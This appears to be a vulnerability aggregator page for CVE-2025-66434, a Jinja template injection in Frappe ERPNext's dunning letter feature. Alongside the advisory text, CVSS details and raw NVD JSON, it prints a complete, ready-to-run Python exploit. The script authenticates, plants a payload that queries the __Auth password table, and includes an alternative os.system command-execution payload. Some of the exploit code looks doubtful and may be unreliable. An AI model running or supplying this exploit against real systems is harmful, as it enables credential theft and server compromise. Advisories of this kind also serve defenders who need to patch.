Security Vulnerability Report
中文
CVE-2025-66434 CVSS 8.8 HIGH

CVE-2025-66434

Published: 2025-12-15 17:15:54
Last Modified: 2025-12-23 17:57:35

Description

An SSTI (Server-Side Template Injection) vulnerability exists in the get_dunning_letter_text method of Frappe ERPNext through 15.89.0. The function renders attacker-controlled Jinja2 templates (body_text) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals(). An authenticated attacker with access to configure Dunning Type and its child table Dunning Letter Text can inject arbitrary Jinja expressions, resulting in server-side code execution within a restricted but still unsafe context. This can leak database information.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:frappe:erpnext:*:*:*:*:*:*:*:* - VULNERABLE
Frappe ERPNext < 15.89.0
Frappe ERPNext 15.x through 15.89.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-66434 PoC - Frappe ERPNext SSTI in get_dunning_letter_text Note: This is for educational and authorized testing purposes only. """ import requests import json TARGET_URL = "https://target-erpnext-instance.com" LOGIN_API = f"{TARGET_URL}/api/method/login" DUNNING_API = f"{TARGET_URL}/api/resource/Dunning%20Type" # Authentication credentials USERNAME = "your_username" PASSWORD = "your_password" def login(): """Authenticate to Frappe ERPNext""" session = requests.Session() response = session.post(LOGIN_API, json={ "usr": USERNAME, "pwd": PASSWORD }) return session if response.status_code == 200 else None def create_malicious_dunning(session): """Create Dunning Type with SSTI payload in body_text""" # SSTI payload to extract database information # Using frappe.db.sql to execute arbitrary SQL queries ssti_payload = """ {{frappe.db.sql("SELECT name, password FROM __Auth")}} """ # Alternative payload for RCE (if conditions allow) rce_payload = """ {{frappe.app.call("os.system", "id > /tmp/pwned")}} """ dunning_data = { "doctype": "Dunning Type", "dunning_type": "Test SSTI", "company": "Your Company", "dunning_letter_text": [ { "doctype": "Dunning Letter Text", "body_text": ssti_payload, # Malicious SSTI payload "language": "en" } ] } headers = { "Content-Type": "application/json" } response = session.post(DUNNING_API, json=dunning_data, headers=headers) return response def trigger_ssti(session, dunning_name): """Trigger the vulnerable get_dunning_letter_text method""" trigger_url = f"{TARGET_URL}/api/method/erpnext.accounts.dunning.get_dunning_letter_text" payload = { "dunning_type": dunning_name, "doc": { "name": dunning_name, "doctype": "Dunning Type" } } response = session.post(trigger_url, json=payload) return response def main(): print("[*] CVE-2025-66434 PoC - Frappe ERPNext SSTI") print("[*] Target:", TARGET_URL) # Step 1: Login print("\n[1] Authenticating...") session = login() if not session: print("[-] Authentication failed") return print("[+] Authentication successful") # Step 2: Create malicious Dunning Type print("\n[2] Creating malicious Dunning Type...") response = create_malicious_dunning(session) if response.status_code in [200, 201]: print("[+] Malicious Dunning Type created") data = response.json() dunning_name = data.get("data", {}).get("name") # Step 3: Trigger SSTI print("\n[3] Triggering SSTI...") result = trigger_ssti(session, dunning_name) if result.status_code == 200: print("[+] SSTI triggered successfully!") print("[*] Response:", result.text) else: print("[-] Failed to create Dunning Type:", response.text) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66434", "sourceIdentifier": "[email protected]", "published": "2025-12-15T17:15:53.737", "lastModified": "2025-12-23T17:57:35.220", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An SSTI (Server-Side Template Injection) vulnerability exists in the get_dunning_letter_text method of Frappe ERPNext through 15.89.0. The function renders attacker-controlled Jinja2 templates (body_text) using frappe.render_template() with a user-supplied context (doc). Although Frappe uses a custom SandboxedEnvironment, several dangerous globals such as frappe.db.sql are still available in the execution context via get_safe_globals(). An authenticated attacker with access to configure Dunning Type and its child table Dunning Letter Text can inject arbitrary Jinja expressions, resulting in server-side code execution within a restricted but still unsafe context. This can leak database information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1336"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:erpnext:*:*:*:*:*:*:*:*", "versionEndIncluding": "15.89.0", "matchCriteriaId": "DAA2FB4F-48C5-4BA5-A15F-175B8A752866"}]}]}], "references": [{"url": "https://iamanc.github.io/post/erpnext-ssti-bug-1", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.notion.so/SSTI-bug-1-239e6086eadc8096bfcfe90551a3a483?source=copy_link", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}